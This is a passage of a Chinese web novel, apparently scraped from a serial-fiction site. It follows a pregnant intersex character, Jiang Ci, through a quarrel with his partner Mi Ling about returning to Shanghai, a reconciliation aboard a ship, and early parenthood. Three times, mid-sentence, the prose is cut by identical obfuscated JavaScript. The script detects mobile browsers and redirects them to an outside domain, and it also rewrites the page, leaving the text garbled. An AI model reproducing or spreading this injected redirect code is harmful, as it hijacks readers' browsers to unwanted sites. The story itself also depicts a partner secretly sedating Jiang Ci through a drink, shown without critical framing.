他有点儿红了脸:“唔,哦,你好乖啊,这瓣瓜你拿去吃吧,吃完了我带你去找你妈妈。”说完了又担心一会儿糜岭回去见不着他,两人又得吵架,便改口道:“要不然你还是到我房里等着,外面太热了,我跟管家说一声,让他见到你妈妈的话带她来找你,好不好?” “小姜婶婶房里不热吗?” “不热,我那里有好大一盆冰块,你想不想玩?” “好啊好啊!我要玩!”吝吝很自然地牵过他的手,跟着他去见了管家,两人又回房间。 再次路过厨房的时候,姜瓷无意间一瞥,瞧见门口挤着好几个女人,正央着老妈子煮酸梅汤,嚷着说:“再不吃点儿解暑的东西就要热死在这里了!”另有其他男青年,像陪着她们来的,倚着墙聊天。 吝吝也顿住了脚,拉拉他的手,说也想喝酸梅汤。姜瓷便往那儿走,想叫老妈子多煮一些备着。到了近前,却听见那几个青年在议论糜岭。 一个说:“怎么突然就要结婚了?还搬去上海住。” “谁知道,我和他不熟,我那个二姨倒是经常在他家店里买首饰。” “我听说是怀了。” “谁怀了?” “还能有谁,就那个呗。” “嗬,不男不女的东西,也能怀啊?”几个人嗡嗡嘤嘤地笑起来。 姜瓷拉着吝吝转身就走,回到房里,把床头一杯凉水递给吝吝,说:“吝吝,你渴了的话,先喝这个吧,我没喝过的。” 吝吝就举着杯子小口地啜,一边偷偷摸摸睨他的肚子。他也觉察到了,悄悄拽过毯子盖到身上,想找点儿别的话来说。但吝吝偏很天真地开口问:“小姜婶婶,他们说‘不男不女’,是什么意思?” 姜瓷掐着手心,脸上一阵青一阵白,心口火烧,当着孩子的面,更觉耻辱,喉咙噎着发紧,半晌没说出话来。 吝吝许是感觉气氛不对,低下头也没了声。不久英嬅寻过来进了屋,坐在床沿想给姜瓷搭搭脉,姜瓷说:“姐姐你还是先带吝吝去吃东西吧,我看她好像很饿。” “我先跟你说几句话,这是怎么了,眼睛这么红。” “有点睡不好,不要紧。你快去吧,吝吝还想喝酸梅汤,你到厨房去拿给她。” 英嬅看他不想聊,也就带吝吝走了。门一阖上,他便倒在床上哭起来,闭着眼,昏昏沉沉,像是迷糊地睡了一会儿,隐约听见点动静,立刻醒了,看见糜岭坐在床畔剥虾,凑过去抱住了他的腰。 糜岭笑着说:“小馋猫,叫你你不醒,剥了两只虾,闻见味道,倒醒了。” “不想吃了。”他细声说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831068|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>糜岭这才俯身看他,摸着他泪湿的脸,敛了笑意,问:“怎么了?” “没什么……我想回上海,明天就想回。” 不待糜岭答话,外头轰隆隆震了几声雷。姜瓷嘴巴一噘又开始掉眼泪。 “宝宝,好了不哭,舅舅跟你说过,这几天雨多,海上风更大,没有船出港,走不了。别哭了,哭什么,跟舅舅说说。” 糜岭抱着他哄,他竟哭得更厉害,泪涟涟地道:“小舅舅嘴上说得那么好,可是现实里又是另一种情况了,根本不会好起来,也没有快乐,也放不下忘不掉……我离开了金园,可是金园一直跟着我……” “宝宝——” “我会梦见周盛业在梦里追我,要抓我回去,也会梦见去金园的那些坏人,所以就算白天的时候可以忘,晚上也忘不掉,我也想放下,可是在外面别人要说,在家里还是要被说,还有我的身体——” “小宝,别急,你先告诉我,在家里谁说你?” 他仿佛没听见,自顾自继续道:“我的身体很奇怪,就算我没有被抓到金园去,我也被关起来了,从我出生后被关起来,走不出去,你懂吗阿岭?” 他抽泣着,感到一种灭顶的绝望欺压过来,周身牵牵绊绊全是镣铐,畸形的身体和不堪的过往是烙印在骨髓里的疤,也锁链似的困囿住他。永远也没有解脱的时候,从来也没有自由一说。 糜岭抱他到怀里,给他揩眼泪,轻轻拍着他的背安抚道:“你从头跟我说,刚刚是不是出去了?见到谁了?” 他仍不应答,哼哼地哭着,还无语伦次地自言自语:“过去的事,身体,这些都没办法改变了……但是至少在上海,没有人认识我,不会有人拿我的过去说闲话,我们马上就走好不好?到上海,一个新的地方,重新开始,好吗?好吗?” 糜岭柔柔吻着他脸颊:“宝宝,你听外面的雷打得那么响。” “不要,不要么,不要下雨……” “好了好了,不哭,怎么突然这样宝宝?是不是刚刚睡觉的时候被梦魇着了?” 姜瓷摇着头,忽然想到了什么,一把揪住糜岭衣襟,惶然叫道:“阿岭,如果小宝宝也像我一样怎么办?不……不要!” 他惊叫起来,哆哆嗦嗦,两手却僵着,死死抓住隆起的小腹,划出血痕来。糜岭连忙去拦,朝门外叫道:“来人,去把英嬅找来!” 英嬅急匆匆赶到的时候,姜瓷却已经安静下来,委顿地耷拉着眼,一个人蜷在床上,不给糜岭抱,糜岭一碰他,他就哭。 英嬅也没问缘由,劈头盖脸地骂说:“本来怀着孕的人情绪就不稳定,有点儿什么事你哄着他让着他么,干嘛让他哭成这幅样子!” 糜岭被她好一顿数落,里外不是人,冷着脸默默剥了几只凉掉的虾,见姜瓷闭上了眼,才慢慢把方才的情形说给英嬅听。英嬅道:“兴许是一直没睡好,前一阵又病了,才会这样,实在不行,我明天早上叫药馆的伙计送点安神的药丸过来,这种药不要紧,我以前怀孕也吃的。” 50. 50 永遇乐 这一整夜,姜瓷又是好几次哭着从梦中惊醒。糜岭陪在床边,只在天微微亮的时候稍微眯着睡了会儿,模糊间好像听到姜瓷在叫他,便睁了眼。 姜瓷站在窗前朝他招手,雀跃地喊着:“阿岭,你来看,雨停了。”他精神上全然没有昨晚的那般颓态,但脸上病恹恹,眼里满是血丝,眼下两洼青黑。 糜岭走过去抱住他,摸摸他额头,问:“有没有不舒服?再睡会儿好吗?” “没有,不要,我不困,”他敷衍地应一句,拉着糜岭探头到窗外,“我跟你说吗,你看外面不下雨了,我们是不是可以去坐船了?我要回上海!” 糜岭瞥一眼天色,仿佛是还要落雨的架势,但担心他又要像昨夜一样哭闹,于是嘴上哄着他道:“好好,我们先换衣服去吃饭。” “吃过饭就走了是不是?还要收拾行李呢!快点快点!”急迫地喊着,一边已经一溜烟跑出房了。 饭桌上,他滔滔不绝说着到了上海后如何如何,讲到兴奋处,热红了脸,把筷子哒哒地敲桌子。面前一碗粥只喝了两三口,翻溅出来不少。糜岭从没见过他这幅样子,忧心忡忡,怀疑他还病着,正思忖是不是要叫英嬅来一趟,管家过来说药馆的伙计送药来了。 他看一眼两手舞着筷子摇头晃脑的姜瓷,给管家使了个眼色,管家点点头,出去后不多时又回来,递上一碗酸梅汤。 糜岭喊他来喝,他皱着眉直嚷不要,拽他到怀里搂着,哄说:“凉的,喝了解暑,你瞧瞧你热得满头汗,说了这么久的话,嘴巴也渴了是不是?” “不渴,我不喝,不要喝!”他手臂一阵乱挥。 糜岭也没再劝,掐着他后颈,一口一口渡给他。他挣扎,又是呛又是咳。折腾了一番,许是药起了作用,他总算安静下来,枕在糜岭肩上困倦地揉眼睛,只是嘴里还在喃喃地说着“回上海”。 他梦到海上风雨飘摇,和糜岭躺在晃动的船舱里,头晕得厉害,止不住想吐。本就不舒服了,糜岭还要在一旁说:“早就告诉过你,海上风大雨大,不听,现在吃苦也是自作自受。” 他委屈得一直哭,哭醒过来,看到床头那只熟悉的台灯,粉色的灯罩,下面缀着细短的珠帘,光线折出来,零零碎碎的静谧。 他发了会儿怔,再闭上酸涩的眼睛,恍惚间仿佛还身处梦中,身处回上海的船上。 糜岭端着盆凉水进来的时候,他已经坐起身,抱着杯子在喝水,见糜岭走得磕绊,便下了床去接,自己绞了毛巾擦脸,糯糯地说:“我饿。” 糜岭想不到他竟这么平静,原以为醒过来后发现还在家里,一定又要闹个天翻地覆。他从衣柜里拿出干净的睡衣,说:“有粥,还有饭。过来把衣服换了。” “我想吃面条,鸡汤煮的面条。” “马上叫厨子去做。” 他脱了身上汗湿的衣服要糜岭抱,糜岭浅浅搂了他一下,仿佛是有点站不住,在床畔坐下,摸着他肚子上被抓出的几条血痕,轻声问:“昨天的事情还记不记得?” 他点点头,又摇头,把肚子往糜岭脸上靠,糜岭把耳朵贴在上面听了一阵儿,说:“不要怕宝宝。”也不知道跟谁说的。 他矮下身来让糜岭把衣服往他肩上披,糜岭顺势摸摸他额头:“稍微有点儿发热,头痛吗?还有没有哪里不舒服?” “不痛,但是小舅舅腿痛,是不是呢?” 糜岭没应声。他自己系好了腰带,端起脸盆说:“我去倒热水来。” “叫佣人去吧,你过来,舅舅跟你说句话。” 他坐到糜岭怀里,摸摸他衣领,又戳戳他喉结,心不在焉的。糜岭拍着他的背像要哄他睡觉似的,好一阵儿才开口说:“宝宝,刚刚舅舅出去看过了,天还是阴阴的,兴许又要下大雨。” “哦,下大雨,码头没船,有船,出海也危险,你已经跟我讲过了。” “怎么这么乖?嗯?” “不然我能怎么办?反正闹了吵了也没用……”他刺刺地回了一句。 糜岭皱了皱眉,没有接话。这时候佣人端了热水来,姜瓷便拧张毛巾敷到糜岭腿上。两人默默相对,半晌,糜岭又解释说:“小宝,今天早上舅舅不是有心要哄你骗你,只是——” “我知道,那时候我……不对劲,酸梅汤里有药,对不对?” “生气了?” 姜瓷哼一声:“难道我承认我生气了,你会马上带我回上海?” 他突然的伶牙俐齿,糜岭有点儿招架不住,良久才应道:“对不起,宝宝。” 他冷哼一声,忽然站起身奔到窗前,唰地拉开帘子,已是夜里了,月光好亮好清,把树叶的影子投到窗前地上。 “你不是说天阴吗?不是说要下雨吗?”他质问。 糜岭按住钝痛的右腿,沉默无言。 他被他无言的态度一激,像是愤怒得要尖叫要闹起来了,然而过去片刻,只是呼呼喘了两声,低声道:“你不想回上海,我想回,但是你绝不可能让我一个人回去……算了……我不跟你吵架,吵了也没用。” “我哪是不想回?宝宝,你好好想,我要是不想回,怎么要忙来忙去交代店里的事情?” “谁知道呢,说不定你都是做表面功夫给我看,你就是要管着我,我做什么都管我,我在这个公馆里,你一秒钟看不见我就要骂我,说我乱跑,你就是要把我永远关起来。”他又有些要叫起来的架势,瞪着糜岭,脸涨红。 糜岭站起身走近他:“小宝,你怀着宝宝,情绪有起伏,等你冷静了,我们再好好谈,好吗?” “怎么冷静?你又要给我灌药吗?”他避开糜岭走到梳妆台那儿去,糜岭跟过来,耐着性子劝:“宝宝,我那叫管着你么?五年前舅舅错过了你,让你在金园吃了那么多苦,现在舅舅绝对不能再让你出事,所以要你跟在我身边,所以才去哪儿都带着你,要是我没看住你,叫你又出了意外呢?那让舅舅怎么办?” 姜瓷再躲他,坐到床上,糜岭再追来,握住他的手,要说话,他抢先一步道:“可以了!你用不着再说用不着解释!你的腿是因为我……我们还有了宝宝,反正我肯定是永远逃不出你的手掌心了,除了听你的话,我还有其他选择吗?我的身体,我的过去,在金园的那些年,这些东西绑着我,你也是一样的,你也绑着我,拴着我,你扯一扯手里的绳子,我就得听话。” 他望着自己的手,死掉了似的软倒在糜岭掌心,那么小那么细,一瞬间觉得自己也又小又细,好像是不配往阔大的天空飞的,只配活在这逼仄狭窄的地方,糜岭的手心,糜岭的怀里。 糜岭听过他的话,耳朵里嗡嗡响。那一个个字蹦出来,像车轮,直往身上砸,倾轧着他,把他碾得又扁又薄。姜瓷轻软的呼吸拂过来,他感觉自己要被这小小一口气吹散。 “姜瓷,”他轻声喊,“你就这样想我们?没有……没有爱?” 姜瓷垂着头,看到他的右腿在细细地发颤。 “爱……我爱你,我可以说很多很多遍,那么你能让我回上海吗?我只是想回家而已。” 糜岭缓缓松开了他的手。床头那盏台灯,珠帘不知被哪儿来的一点弱风吹得晃起来,光被割碎了迸溅开,热热闹闹地亮到各处。可是他感觉自己被撵到屋外的黑暗里去了。 他默默地想,哪一步走错了,总以为是可以补救的,但假如从头到尾每一步都走错了……他冒起冷汗来,心痛得厉害,眼里晕晕的全是姜瓷的影子,肥软的腕上勒着细金镯子,身上那套玫红色睡袍,动一下就掀起一道道红浪,雪白滚圆的臂膀含在里面,荷花底下一截子藕似的,靡丽得晃人眼睛。他还以为是在梦里,美丽的梦。 可是他把自己也囊括到眼前的画面里,和姜瓷站在一起,两人之间就只是包罗万象的苦。仿佛真如姜瓷所说,胁迫,威逼,利诱,就是没有爱。 他颤巍巍退了几步,哑声说:“你觉得我用孩子和这条腿束缚住了你,是么?那么……当初是我要大雨天开车出去,出车祸是我自己不小心,和你没有关系,至于孩子……全凭你自己的意愿,不想要,现在还来得及……” 姜瓷怔了怔,待要说话,他已经往门口走去,一边说:“好……好……你要回上海,那么明天一早,不管下不下雨,管家都送你去码头,你走,你一个人回去。” 门嘭地关上了。姜瓷僵坐了一会儿,惶然无措地呢喃道:“谁、谁说不要孩子了……” 夜很深了,大约有九十点钟,一个老妈子端着碗鸡汤面进来,搁在小桌上,喊姜瓷来吃。姜瓷游魂似的坐过去,夹一筷子面,麻木地嚼。老妈子还不走,从床底下拖出一个大皮箱,再去翻衣柜,手脚麻利地往里一件件叠衣服,旗袍在下面,男装在上面,袜子卷起来插在缝隙里,再到梳妆台上拿了头发油,痱子粉,雪花膏,首饰盒子,一股脑压在衣服上。 姜瓷呆呆地看了半晌,出声问:“干、干什么?” 那老妈子瞧他一眼:“咦?不是明天就要走么!少爷叫我来收拾,对了,这件衣服您常穿吧?少爷让我给您常穿的衣服里面缝个口袋,好藏钱!这在外面可不比家里,船上更乱了,三六九等,不知道遇见的人窝着什么龌龊心思……” 她絮絮叨叨地讲,姜瓷木着脸,全没在听,放下筷子,问:“他在干嘛?” “少爷啊,在书房里吧。” 他找到书房去。门锁着,他扭门把手,哐哐哐弄出好大一阵响动,糜岭也没来给他开门,就在里头说:“干什么?还不去睡觉!” 隔着门板,声音闷闷的,又远,千里之外传来的一样。姜瓷红着眼睛踹了下门,叫:“我要——要拿书!” “什么书?” “故事书,没看完的那本。” 没一会儿里头响起手杖敲在地上的哒哒声,门开了,开了条小缝隙,糜岭只伸一只手出来,递过来的书上有封信。 他说:“等到了上海,把这封信给张志骁,叫他给你找个住处,以后遇到什么事,再去找他帮忙也可以。” 姜瓷握着拳头,静立半晌,拔脚便走。回到房里,呼噜呼噜把那碗面吃了,也翻出纸笔来,想了几个开头都不满意,躺回床上,翻来覆去了一阵,再坐到桌前,看着手里的钢笔,微微走了走神。 这支钢笔原本是糜岭的,用了许多年,摔过好几次,笔尖已经有些歪了。那时候糜岭要买支新的给他,他不要,就要这一支,磨着糜岭说:“小舅舅,好阿岭,送给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831069|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,因为你第一次教我写字就用的这支笔,以后每次我拿这支笔写字,就好像你还握着我的手一样,我就要这个。”糜岭抱着他笑说:“怎么这么招人疼的?真会哄我开心。” 他揉一揉酸胀的眼睛,终于下笔写:阿岭吾爱。又想到刚学写字的时候,糜岭捉弄他,说这四个字读“见信如唔”。终究没忍住泪,趴在桌上哭起来。 第二天一早,管家来房里请他,说再不出发就要误了上船的时间。他赖着不肯换衣服,指着窗外说:“外面不是下雨么!” “小雨,今天也没什么风,想来不要紧,不然也不会有船出海。” “你们少爷呢?” “哦,一大早就出门了。” “什、什么?他——送都不送我?” 管家没答,催促道:“快着些吧!我叫人来给您梳头发!” 他浑浑噩噩地,僵坐着叫几个人手忙脚乱一顿拾掇,打理好了,又被管家推着出门。在外头,他死死抓着车门不肯坐进去,又向管家问一遍糜岭的去向,管家说:“像是被孟小姐请去玩了!” 他听得一呆,叫管家抓住了机会,一把将他捉到车里去了。 车子开到码头,确有一艘船停在那里,只是冷冷清清,仿佛只有他一个乘客。雨落得澌澌的静静的。 他看着几个高个子家仆扛起行李箱,排着队慢吞吞往船那儿走,忽然间一阵阵心惊胆颤,哆嗦着追上去,拽着这一个叫:“你放下!”又去扒拉另一个:“你把箱子放下!”小小的身躯在几座山之间撞来撞去,一不留神脚下一滑,幸而被追上来的管家拉了一把,才没有摔跤。 可他仿佛是想摔跤似的,一屁股坐到码头上,孩子似的耍赖皮,抱着肚子哭起来。管家焦头烂额,俯身苦口婆心地劝。他反而把管家手里的伞一拽,扔到海里去了。 这时候忽而甲板上一阵哐哐的脚步,夹杂些许细微的哒哒声。他顿了顿哭,回头去看,在迷蒙的雨雾中,一个颀长俊挺的身影,水淋淋闪到跟前,咄咄逼人地欺压下来,一把伞跟着一起罩下,隔绝了大半的天光,伞底下一团暗色,但他清楚地看到糜岭灼灼的眼睛。 “闹什么!不想想自己的身体能不能淋雨,还不快——” 不待糜岭说,他已经两手一伸吊住了糜岭肩膀,借力站起身来。 “你不要我了!”他声泪俱下。 糜岭从口袋里掏出给张志骁的那封信,塞进他手里,恼火地把他往船梯那儿推:“你怪会倒打一耙。” “对不起,对不起!”他扭着身子躲,把信往水里一丢,扯着糜岭衣襟往他怀里躲,叫道:“我不走,我不要走,我错了!” “我可不敢留你,免得你说我困住了你,没给你自由。” “昨天晚上……我乱讲的,说得都不对么,我不走!” 糜岭顿住脚步,把他往怀里搂了搂,沉声问:“到底是怎么样?” “我发烧说的胡话,你干嘛信,就是这样,是胡话,梦话,荒唐的话,你全忘掉,不要听!对不起!” 他哭啼啼的,见糜岭还阴沉着脸,踮起脚去吻他,软软地叫:“阿岭,好哥哥……呜呜……我不走……” 糜岭微微低了低头,轻轻碰一下他额头,有点儿咬牙切齿的:“你折腾死我算了!”说着仍搂着他的腰往船梯那儿抱。他吓得嚎哭起来,嗓子都哑了,不管怎么挣扎,还是给抱上了船。倚在甲板的栏杆上,望着底下幽幽的水,煞白着脸,喃喃道:“你、你要是送我走,我就——” “怎样?” “跳下去!” “跳下去可不是呛水这么简单,这下面不知道多少凶猛的海鱼,专吃人肉,就喜欢你身上这种软绵绵的。” 姜瓷颤巍巍软了腿,糜岭把他往怀里抱了抱,托着他沉沉的小腹:“还跳不跳了?” “不……不了……哼呜呜呜……”他把腰沉在他臂弯里,紧抓着他,生怕他下一瞬就跑下船,“阿岭,我爱你,对不起,昨天我说的气话,你不要我和宝宝,那我——” 忽然间,一阵悠长沉稳的汽笛声震荡开来,在空旷的码头上久久回旋着。他发了怔,盯着缓缓往后退去的码头,好一阵儿才反应过来,不是码头在后退,是船出航了,破开海浪时掀起的水的轰鸣盖过了打落在伞上的雨声。 他回头望向船头的方向,迎面呛了口风,马上被糜岭掰过脸来。 “阿岭,阿岭……”他颤声地叫。 糜岭说:“满不满意了?小祖宗?” 他只是哭,仰着头往糜岭唇边凑。两人吻在一处,深深地,欢欣地,欢欣到几乎有点儿沉痛的意味。 不知从哪儿飘过来的温暖的空气,有一种闷闷的涩味,夹杂着雨的凉意的风,腥咸的,直往面颊上扑,阔大的幽蓝海色主动逼进眼角余光里来,很远很远的天边,竟然不下雨,有一线火红的光漫出厚重的云层。他还看到糜岭眼角残余的一抹红色,远比那线遥远的日光还要令他神往。 姜瓷想,其实早早地,他就已经找到了自由,在糜岭温热的唇舌之间,在他两臂兜出的怀抱中,在爱与新的生命里,他扇着畸形而残破的翅膀飞起来,或者说他被一座伟岸嶔崎的山托举起来,碰到了广阔无际的天。 51. 番外 怎不思量(上)[番外] 姜米出生六个月后 张志骁踏进糜公馆,一眼看见糜岭站在院落中央的那座喷泉池子里,裤管卷起些许,弯下腰在池子里摸来摸去,掀得水哗哗响。 他远远喊了声“糜兄”,糜岭抬头和他打招呼,问:“怎么这时候来?” 他拎了拎手里几个礼盒给糜岭看,道:“我和客户约好吃午饭,路过你这儿,看时间还早,就到附近买了点儿东西,想见见米米,没能提前说一声,冒昧了糜兄。” “你想来随时来,倒是又让你破费了。” “嗬!你我之间还说这种话。你在这儿干什么呢?” “昨天晚上米米一直哭,我抱她到院子里走走,她耍脾气,把手腕上戴着的金核桃甩到池子里了。” “哦,我送的那个吗?”张志骁笑着弯腰向池子里打量,“她小是小,力气倒大,能把那东西甩出去。” 糜岭也笑:“怕勒着她,绳子没系紧,不过确实力气大,闹起来挠人,姜瓷被她抓得身上全是血印子。” “奶妈呢?怎么不让奶妈带!” 糜岭略顿一顿,敷衍道:“也让奶妈带的。”没说什么别的话,再弯下腰去水里摸索。张志骁也卷起衣袖到水里摸了一把,像是抓到了什么,一举起来却是个石子,白白溅湿了衣裳。 他又瞧糜岭也浑身湿淋淋的,右腿有点儿站不住般微微曲着,便说:“找不到就算了,多大点儿东西,我再买一个。实在要找,你叫佣人找,何必自己动手。” “反正也没什么事做。” “一会儿小瓷知道你在冷水里泡着,不定怎么跟你生气。” “你别告诉他。”糜岭才反应过来似的,踏出池子来。 “你衣服这么湿,他能看不出来?” “还睡着,米米昨天晚上闹了他三四次。” “那我来得不巧。” “不要紧,也快中午了,正好叫他起来吃饭。” 两人进了门,张志骁瞧见门边花架上插着几株粉白的花,香气扑鼻,问:“上次我过来,客室那几个花瓶里插的也是这种花吧?我太太特别喜欢。” “院子里种的,洋桔梗,一会儿让人包一束你带回去。” “诶,好。”张志骁应一声,回头望向庭院。喷泉池子里浮着几片阔荷叶,三两朵粉荷,池子两边各栽种四棵高大伟岸的柏树,再远处用木篱笆圈起来一块地皮就是花圃,里头万紫千红绽了一大片,其余地方零星几个方形草坪,修剪得整整齐齐,往通往后院的石头小径瞥一眼,瞧见几棵碧青的芭蕉,屋子侧面的墙壁上攀满了茂密的藤葛。 这房子是多年前他从一个外国人那儿买来的,因为占地太大,地段又有些偏僻,一直没人愿意接手,渐渐荒废了。他还记得一年前带糜岭来这儿的时候,大门前两只门柱,竟有一边塌了,院落中杂草横生,那喷泉久没人打理,一池水又臭又腥,姜瓷还被枯叶堆里蹿出来的一只野猫吓了一跳。然而现在,这儿已是一派生机,欣欣向荣了。 糜岭回到卧房里,却见姜瓷已经醒了,侧躺着,搂米米在怀里,一边轻轻拍着她的背。不知是不是太累了,他仍闭着眼,有点儿盹着的模样,连糜岭在床畔坐下都没有觉察。 他一瞬不瞬盯了半晌,才出声喊他。姜瓷睁开眼,第一反应去拉衣襟,有点儿窘迫地说:“你什么时候来的?” “才坐下。” “哦……刚刚米米一直哭,我还抱她在屋子里转了几圈,但是哄不好她,我就想她会不会是饿了,所以……”他抿着唇不再说下去了,低头往衣襟下瞥一眼,米米吃得狼吞虎咽的。他还不能适应这种怪异的感觉,瑟缩着肩膀,恹恹地耷拉着眼睛。 糜岭打量着他的神色,想哄他几句,他却忽然嘴巴一憋哭了起来:“小舅舅,我好累……” “好了好了,不哭,辛苦我们宝宝了。”糜岭说着就抱起米米,轻轻给她拍嗝,对姜瓷道:“张志骁过来了,我带米米去见见他,你累了就睡觉,晚点再起来吃饭,好吗?” 姜瓷不应声,拉过被子盖住了半张脸。糜岭看着他露在外面的水滴般白净的耳廓,静默半晌,忍着没碰,起身带米米出去了。 米米吃饱了,精神奕奕的,一路上啊啊呜呜地乱喊,张志骁大约听见了动静,知道糜岭腿不方便,便迎出来,见着孩子,兴高采烈地说:“米米,干爹来看你咯,高不高兴?” 她身上一件红肚兜,白胖的脸饱饱地往下坠,肚兜的红光再印到脸上,更衬得她喜庆,年画娃娃似的。张志骁愈看愈喜欢,一个劲儿逗她。坐到客室里,抱她在膝头,上上下下踮着脚,说:“哦,米米,骑马,干爹带你骑马,驾,驾,好不好玩?”一颠一颠的,她得了趣,咯咯笑个不停,颤巍巍举起小手指一指,“啊啊”地嚷了两声。 张志骁笑道:“啊,认出我了是不是?是干爹呀!”一边对糜岭说:“感觉米米比一般六个月大的孩子重,真敦实!” 糜岭心不在焉的应付了一句,记挂着姜瓷,坐了一会儿就又回去看他,走到房间前,往虚掩的门里一看,瞧见他坐在床畔抽抽搭搭地哭。犹豫片刻,还是没进去,怕惊着他,伸手将门轻轻阖上,快步离开了。 有天晚上,张志骁打电话来,说一位昆剧名角儿要在剧院登台,他恰好得了四张戏票,约着糜岭和姜瓷去剧院听戏。 姜瓷许久没出门了,起初还兴致盎然,把衣柜翻了个遍,一件件衣裳拿出来在身前比,最后挑了件碧绿的旗袍。他这一段日子都不怎么亲近糜岭,换衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831070|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要躲到浴室去。糜岭坐在房里等了一阵儿,忍不住去寻他,推开浴室门,猛然一个碧翠的影子嵌到眼睛里来,直把他看呆了。 姜瓷白胖的身体包在绿旗袍里,包得太满太饱,整个人像只紧匝匝的粽子,雪白的手臂米一般挤着往外溢,在那儿扭着身子拉拉链,腰际微微勒出几绺褶,更仿佛是绑了粽线,就等着人拆开去尝。 糜岭心猿意马,贴过去搂他腰,他却被吓着般猛地跳起来,手肘一挥,险些打到糜岭眼睛。两人都僵住了,默默对望片刻,都移开了视线。 “对不起……”姜瓷低低地说着,往贴在墙上的镜子里望了一望,只觉得自己怪异,便又垂下头又细声说:“对不起……我、我还是不出去了……” 糜岭还想劝,他只是摇着头,哽咽道:“我说了我不去了吗……” 只好作罢。糜岭去给张志骁打电话,找借口推掉了约会。回到房里,见他端端正正坐在床沿,头发虽然胡乱散着,但那样一副静静的姿态,显得尤为端凝富态,仿佛真的是某个官员商贾家的太太。糜岭有一瞬间的恍惚,好似在瞧一个陌生人。 有一段日子,两人试着把米米交给奶妈带,但是米米离了姜瓷不一会儿就要哭闹,见不到他就不罢休,只好又把米米带在身边。姜瓷被折腾得愈发萎靡。糜岭看着心焦,又不能替他,只好每天晚上多注意着,但凡姜米动一动,他就会醒。假如姜米不是为了饿肚子而哭,就快点儿抱她到房外去,哄她睡着了再抱回来。 这天米米半夜醒了,唔啊地嚷起来,倒没哭,糜岭马上起床,先亲了亲睡得沉的姜瓷,再抱了米米出去,在院子里散步。他想着姜瓷这一段日子照顾米米的辛苦,自顾自对她说起话来,道:“他每天心心念念都是你,嘴巴上也三句不离你,出去玩都不愿意了,从前在香港,他哪天不闹着要我带他出去玩儿,你瞧瞧现在他一心扑在你身上,爸爸想亲亲他,他都不愿意,你知不知道以前他只给爸爸碰啊?” 米米啵啵地碰着嘴唇,像是在学着叫“爸爸”,歪头好奇地望着他。他摸摸她的脸,用一种商量的语气道:“乖米米,你让让爸爸好不好?” “啊噗阿噗……”孩子这样回应着。 糜岭就当她答应了,亲昵地蹭蹭她脸颊,哄她睡着后没带回房里,送到了奶妈那儿。 他再自己回房,躺到床上,刚搂住了姜瓷,姜瓷却忽然一个激灵醒了,不知是吓着了还是梦魇着了,抬手就朝他脸上打了一下。 打完,两人都愣住了。姜瓷朦朦胧胧,觉得自己没用力,然而偏偏是特别响亮的一个巴掌。糜岭抬手抚一抚脸,很快下了床就往外走。 姜瓷下意识想去拉他,然而已晚了一步,他一阵风似的走了出去,房门已经缓缓阖上了。 52. 番外 怎不思量(下)[番外] 有好些天,糜岭都没再和姜瓷睡在一起。晚上姜米喝完了奶,他抱着她拍完了嗝,再在屋子里溜一圈消磨会儿时间,父女俩就到隔壁空置的客房去,留姜瓷一个人。若是姜米夜半哭闹醒了,再抱着她去找姜瓷。 姜瓷以为他在为那一晚打了他一巴掌的事情闹别扭,可是除了分房睡觉这一件,他的态度仍和平日里没什么两样,哄着让着,温言软语,百依百顺,挑不出一点儿不好。然而姜瓷心里不痛快,晚上糜岭一走就要哭,抱着他枕头翻来覆去,反而比以前夜夜被姜米吵得睡不着时更憔悴了。 那一天晚上,他要去洗澡的时候,糜岭到房里来看孩子,他拿睡袍,又挑挑拣拣拿了些零碎的小东西,磨蹭了半晌,还没走,挨着糜岭坐下来,微微倚着他臂膀,扭捏地开口:“阿岭,你生我的气了,对不对?” 糜岭看也不看他,起身去拿床头的一只拨浪鼓,回来后就坐到了另一侧,一边逗姜米一边回:“没有。” 姜瓷掐着手心道:“你就是生气。” “没有,不要乱想,快去洗,一会儿水该凉了。” 他坐着不动,倾身去牵糜岭空余的那只手:“那你既然没生气,今天跟我睡好不好?” 糜岭望着地上,看他赤脚点着地,脚趾上透出点儿软嫩的粉色,愣了会儿神,抽出手来,抱起姜米,平静地说:“不了,我带米米出去散步,你洗完了澡直接睡觉,我和米米也不回来了,有什么事到隔壁叫我。” 屋子里仿佛飒飒拂来一阵阴风,他听了怔在那儿,半晌没回过神。 糜岭抱着米米再回来,路过卧房,往里瞥一眼,平日姜瓷早该回来了,可这会儿床上没有人。他便把米米交给奶妈,去浴室找人。到了那儿,恰好见姜瓷站在浴池边擦头发。 